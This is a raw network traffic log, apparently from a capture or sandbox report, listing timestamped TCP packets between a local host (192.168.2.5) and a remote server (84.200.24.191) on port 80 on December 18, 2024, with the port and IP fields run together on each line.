                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.710982084 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.710995913 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.711021900 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.712524891 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.712591887 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.712604046 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.714013100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.714082956 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.714167118 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.715563059 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.715635061 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.715677977 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.717068911 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.717138052 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.717201948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.718586922 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.718628883 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.718770981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.720052004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.720098019 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.720144033 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.721496105 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.721558094 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.721580982 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.722964048 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.723011971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.723063946 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.724420071 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.724472046 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.724502087 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.725830078 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.725922108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.725923061 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.727217913 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.727262020 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.727336884 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.728650093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.728702068 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.728774071 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.730242014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.730253935 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.730379105 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.731529951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.731638908 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.731638908 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.732975960 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.733023882 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.733125925 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.734441996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.734484911 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.734627962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.735810995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.735909939 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.736052990 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.737281084 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.737325907 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.737354040 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.738671064 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.738778114 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.738780975 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.740096092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.740134001 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.740206957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.741537094 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.741575956 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.741586924 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.742958069 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.743115902 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.743156910 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.744389057 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.744520903 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.744563103 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.745842934 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.745887041 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.746030092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.747226000 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.747278929 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.747283936 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.748698950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.748750925 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.748785019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.750122070 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.750171900 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.750271082 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.751562119 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.751607895 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.751662970 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.752964020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.753010035 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.753093958 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.754389048 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.754448891 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.754486084 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.755816936 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.755857944 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.755886078 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.757230997 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.757277012 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.757334948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.758704901 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.758754969 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.758797884 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.760150909 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.760224104 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.760230064 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.761523962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.761575937 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.761617899 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.763021946 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.763063908 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.763173103 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.764445066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.764486074 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.764503956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.765824080 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.765911102 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.765927076 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.767296076 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.767334938 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.767400026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.768651009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.768702984 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.885529041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.885633945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.885771990 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.886152029 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.886274099 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.886327982 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.887264013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.887336969 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.887378931 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.888473034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.888528109 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.888595104 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.889645100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.889844894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.889930010 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.890836000 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.890973091 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.891021013 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.891946077 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.892066956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.892189980 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.893116951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.893264055 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.893311024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.894262075 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.894401073 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.894448996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.895478010 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.895692110 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.895735979 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.896601915 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.896682024 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.896752119 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.897733927 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.897834063 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.897876024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.899097919 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.899133921 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.899187088 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.900051117 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.900151014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.900214911 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.901192904 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.901324034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.901571989 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.902365923 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.902470112 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.902514935 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.903532028 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.903584957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.903883934 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.904652119 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.904783964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.904831886 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.905822039 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.905937910 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.905977011 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.907006025 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.907074928 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.907125950 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.908091068 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.908200026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.908274889 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.909265995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.909466982 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.909514904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.910419941 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.910598040 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.910727978 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.911614895 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.911648989 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.912075996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.912678957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.912801027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.912854910 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.913856030 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.913974047 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.914562941 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.915002108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.915113926 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.915157080 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.916150093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.916260958 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.916462898 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.917273998 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.917393923 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.917543888 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.918443918 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.918545008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.918586969 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.919651985 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.919718981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.919764996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.920762062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.920903921 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.920955896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.921890020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.922020912 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.922072887 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.923043013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.923284054 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.923331022 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.924252987 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.924313068 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.924362898 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.925332069 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.925446033 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.925518036 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.926577091 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.926727057 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.926776886 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.927669048 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.927814960 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.927870989 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.928869009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.928942919 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.928987026 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.929960012 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.930068016 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.930115938 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.931118011 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.931169987 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.931224108 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.932276964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.932375908 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.932421923 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.933398008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.933547020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.933598042 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.934592009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.934700012 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.934742928 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.935734034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.935816050 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.935867071 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.936856031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.936964989 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.937019110 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.938014030 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.938153982 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.938214064 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.939165115 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.939301968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.939351082 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.940351009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.940484047 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.940625906 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.941498995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.941596031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.941734076 CET4980780192.168.2.584.200.24.191
